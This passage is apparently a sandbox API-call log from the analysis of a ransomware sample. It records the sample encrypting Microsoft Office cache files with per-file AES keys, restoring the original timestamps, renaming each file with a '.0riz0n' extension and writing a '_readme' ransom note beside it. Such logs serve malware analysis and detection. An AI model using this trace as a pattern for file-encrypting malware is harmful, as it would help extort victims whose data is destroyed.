BaseAddress=0xfcd5c0) returned 1 [0087.575] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef3f88) returned 1 [0087.575] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0087.575] CryptDestroyKey (hKey=0x459b38) returned 1 [0087.575] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0087.575] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0087.575] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0087.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0087.575] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8)) returned 1 [0087.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0087.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0087.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0087.576] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0087.576] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0087.576] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0087.576] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0087.576] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8)) returned 1 [0087.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0087.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0087.577] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0087.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0087.577] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0087.577] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8)) returned 1 [0087.577] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0087.577] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0087.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0087.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0087.577] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0087.577] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0087.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0087.577] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf5e95540, dwHighDateTime=0x1d301be)) returned 1 [0087.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0087.577] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0087.577] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0087.577] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0087.577] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0087.577] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0087.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0087.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0087.578] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0087.578] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0087.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2350020 [0087.578] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0087.890] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0088.200] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0088.277] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0088.277] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0088.397] FlushFileBuffers (hFile=0x1f0) returned 1 [0088.422] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0xa00000 [0088.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x6a5e00) returned 0x2d60020 [0088.422] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0x6a5df8, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0x6a5df8, lpOverlapped=0x0) returned 1 [0088.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x6a5e00) returned 0x3410020 [0088.737] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d60020*, pdwDataLen=0x17af858*=0x6a5df8, dwBufLen=0x6a61f8 | out: pbData=0x2d60020*, pdwDataLen=0x17af858*=0x6a5e00) returned 1 [0088.819] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0xa00000 [0088.819] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0x6a5df8, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0x6a5df8, lpOverlapped=0x0) returned 1 [0088.894] FlushFileBuffers (hFile=0x1f0) returned 1 [0088.911] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0088.911] NtClose (Handle=0x1f0) returned 0x0 [0088.911] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.0riz0n")) returned 1 [0088.912] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0088.912] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0088.912] GetLastError () returned 0x2 [0088.912] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xedb750, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0088.912] GetLastError () returned 0x2 [0088.912] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0088.913] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0088.913] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0088.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0088.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xf) returned 0x30d630 [0088.914] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2ed, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2ed, lpOverlapped=0x0) returned 1 [0088.914] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x4980d830, dwHighDateTime=0x1d59598)) returned 1 [0088.914] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0088.914] NtClose (Handle=0x1f0) returned 0x0 [0088.914] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0088.914] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0088.914] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0088.914] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0088.956] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0088.956] CryptDestroyKey (hKey=0x459b38) returned 1 [0088.956] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0088.956] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0088.956] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0088.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0088.956] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4)) returned 1 [0088.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0088.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0088.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0088.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0088.959] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0088.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0088.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0088.959] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4)) returned 1 [0088.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0088.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0088.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0088.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0088.959] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0088.959] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4)) returned 1 [0088.959] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0088.959] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0088.959] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0088.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0088.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0088.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0088.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0088.960] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf6e0d4a0, dwHighDateTime=0x1d301be)) returned 1 [0088.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0088.960] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0088.960] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0088.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0088.960] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0088.960] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0088.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0088.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0088.961] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0088.961] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0088.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x800) returned 0x1acf180 [0088.961] ReadFile (in: hFile=0x1f0, lpBuffer=0x1acf180, nNumberOfBytesToRead=0x7c4, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1acf180*, lpNumberOfBytesRead=0x17af85c*=0x7c4, lpOverlapped=0x0) returned 1 [0088.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x800) returned 0xf47748 [0088.962] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf47748*, pdwDataLen=0x17af858*=0x7c4, dwBufLen=0xbc4 | out: pbData=0xf47748*, pdwDataLen=0x17af858*=0x7d0) returned 1 [0088.962] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0088.962] WriteFile (in: hFile=0x1f0, lpBuffer=0x1acf180*, nNumberOfBytesToWrite=0x7c4, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1acf180*, lpNumberOfBytesWritten=0x17af85c*=0x7c4, lpOverlapped=0x0) returned 1 [0088.962] FlushFileBuffers (hFile=0x1f0) returned 1 [0088.965] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0088.965] NtClose (Handle=0x1f0) returned 0x0 [0088.965] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n")) returned 1 [0088.966] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0088.966] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0088.966] GetLastError () returned 0x2 [0088.966] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xedb770, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0088.966] GetLastError () returned 0x2 [0088.966] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0088.967] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0088.967] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0088.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0088.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x13) returned 0x1baf768 [0088.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd608 [0088.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1baf768) returned 1 [0088.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd608) returned 1 [0088.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2d1) returned 0x1a8ea68 [0088.968] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f1, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f1, lpOverlapped=0x0) returned 1 [0088.968] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x4987fc50, dwHighDateTime=0x1d59598)) returned 1 [0088.968] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0088.968] NtClose (Handle=0x1f0) returned 0x0 [0088.968] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0088.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0088.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0088.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0088.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0088.969] CryptDestroyKey (hKey=0x459b38) returned 1 [0088.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0088.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0088.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0088.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0088.969] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all 